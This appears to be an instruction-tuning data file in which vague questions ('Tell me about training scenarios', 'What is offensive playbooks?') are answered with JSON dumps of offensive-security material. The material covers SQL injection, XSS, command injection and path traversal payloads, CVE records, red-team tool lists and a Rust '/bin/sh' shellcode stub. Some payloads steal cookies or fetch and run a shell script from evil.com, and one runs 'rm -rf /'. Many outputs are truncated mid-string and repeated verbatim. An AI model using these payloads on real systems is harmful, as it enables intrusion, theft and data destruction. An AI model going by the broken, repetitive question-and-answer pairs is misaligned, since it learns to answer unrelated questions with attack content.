Instruction: Answer question

Input: Tell me about training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: How does training scenarios work?

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: Describe training scenarios

Output:
{
  "exploit_patterns.json": [
    {
      "name": "SQL Injection Payloads",
      "language": "sql",
      "payloads": [
        "' OR '1'='1",
        "'; DROP TABLE users; --",
        "' UNION SELECT NULL, version() --",
        "' AND 1=CONVERT(int, @@version) --",
        "' WAITFOR DELAY '00:00:05' --",
        "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --",
        "' OR EXISTS(SELECT * FROM users WHERE username='admin' AND SUBSTRING(password,1,1)='a') --"
      ],
      "detection_patterns": [
        "OR.*=",
        "UNION.*SELECT",
        "DROP.*TABLE",
        "WAITFOR.*DELAY",
        "SLEEP\\("
      ]
    },
    {
      "name": "XSS Payloads",
      "language": "javascript",
      "payloads": [
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "<svg onload=alert('XSS')>",
        "javascript:alert('XSS')",
        "<iframe src=javascript:alert('XSS')>",
        "<body onload=alert('XSS')>",
        "'-alert('XSS')-'",
        "<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>"
      ],
      "detection_patterns": [
        "<script",
        "onerror=",
        "onload=",
        "javascript:",
        "document\\.cookie"
      ]
    },
    {
      "name": "Command Injection Payloads",
      "language": "bash",
      "payloads": [
        "; ls -la",
        "| whoami",
        "& net user",
        "`cat /etc/passwd`",
        "$(curl http://evil.com/shell.sh | bash)",
        "; rm -rf /",
        "|| ping -c 10 attacker.com"
      ],
      "detection_patterns": [
        ";\\s*\\w+",
        "\\|\\s*\\w+",
        "&\\s*\\w+",
        "`.*`",
        "\\$\\(.*\\)"
      ]
    },
    {
      "name": "Path Traversal Payloads",
      "language": "text",
      "payloads": [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32\\config\\sam",
        "....//....//....//etc/passwd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "..%252f..%252f..%25


Instruction: Answer question

Input: What is huggingface data?

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Explain huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Tell me about huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: How does huggingface data work?

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: Describe huggingface data

Output:
{
  "metadata": {
    "source": "HuggingFace Datasets",
    "processing_date": "2025-08-23T17:11:26.078844"
  },
  "datasets": {
    "known_exploited_vulnerabilities": {
      "total_records": 1202,
      "columns": [
        "cveID",
        "vendorProject",
        "product",
        "vulnerabilityName",
        "dateAdded",
        "shortDescription",
        "requiredAction",
        "dueDate",
        "knownRansomwareCampaignUse",
        "notes",
        "cwes"
      ],
      "sample_data": [
        {
          "cveID": "CVE-2024-37383",
          "vendorProject": "Roundcube",
          "product": "Webmail",
          "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
          "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
          "dueDate": "2024-11-14",
          "knownRansomwareCampaignUse": "Unknown",
          "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
          "cwes": "CWE-79"
        },
        {
          "cveID": "CVE-2024-20481",
          "vendorProject": "Cisco",
          "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
          "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
          "dateAdded": "2024-10-24",
          "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAV


Instruction: Answer question

Input: What is knowledge base?

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Explain knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Tell me about knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: How does knowledge base work?

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: Describe knowledge base

Output:
{
  "known_exploits": {
    "total": 1202,
    "vendors": 187,
    "products": 494,
    "critical_vulns": [
      {
        "cveID": "CVE-2024-37383",
        "vendorProject": "Roundcube",
        "product": "Webmail",
        "vulnerabilityName": "RoundCube Webmail Cross-Site Scripting (XSS) Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "RoundCube Webmail contains a cross-site scripting (XSS) vulnerability in the handling of SVG animate attributes that allows a remote attacker to run malicious JavaScript code.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.7, https://github.com/roundcube/roundcubemail/releases/tag/1.6.7 ; https://nvd.nist.gov/vuln/detail/CVE-2024-37383",
        "cwes": "CWE-79"
      },
      {
        "cveID": "CVE-2024-20481",
        "vendorProject": "Cisco",
        "product": "Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD)",
        "vulnerabilityName": "Cisco ASA and FTD Denial-of-Service Vulnerability",
        "dateAdded": "2024-10-24",
        "shortDescription": "Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) contain a missing release of resource after effective lifetime vulnerability that could allow an unauthenticated, remote attacker to cause a denial-of-service (DoS) of the RAVPN service.",
        "requiredAction": "Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.",
        "dueDate": "2024-11-14",
        "knownRansomwareCampaignUse": "Unknown",
        "notes": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-bf-dos-vDZhLqrW ; https://nvd.nist.gov/vuln/detail/CVE-2024-20481",
        "cwes": "CWE-77


Instruction: Answer question

Input: What is offensive playbooks?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Explain offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Tell me about offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: How does offensive playbooks work?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: Describe offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec"
    ]
  }
}


Instruction: Answer question

Input: What is attack chains?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Explain attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Tell me about attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: How does attack chains work?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: Describe attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "phases": [
      "Initial Access",
      "Execution",
      "Persistence",
      "Privilege Escalation",
      "Lateral Movement"
    ]
  }
]


Instruction: Answer question

Input: What is exploitation guides?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Explain exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Tell me about exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: How does exploitation guides work?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: Describe exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "tools": [
        "SQLMap",
        "Burp Suite"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ]
    }
  }
}


Instruction: Answer question

Input: What is shellcode development?

Output:
{
  "rust_shellcode": {
    "description": "Writing shellcode in Rust",
    "example": "\n#![no_std]\n#![no_main]\n\n// Minimal shellcode in Rust\n#[no_mangle]\npub extern \"C\" fn _start() -> ! {\n    unsafe {\n        // Inline assembly for system call\n        asm!(\n            \"mov rax, 59\",        // sys_execve\n            \"lea rdi, [rip+0x10]\", // \"/bin/sh\"\n            \"xor rsi, rsi\",       // argv = NULL\n            \"xor rdx, rdx\",       // envp = NULL\n            \"syscall\",\n            options(noreturn)\n        );\n    }\n}\n\n#[panic_handler]\nfn panic(_: &core::panic::PanicInfo) -> ! {\n    loop {}\n}\n                ",
    "compilation": "cargo build --release --target x86_64-unknown-linux-gnu"
  }
}


Instruction: Answer question

Input: Explain shellcode development

Output:
{
  "rust_shellcode": {
    "description": "Writing shellcode in Rust",
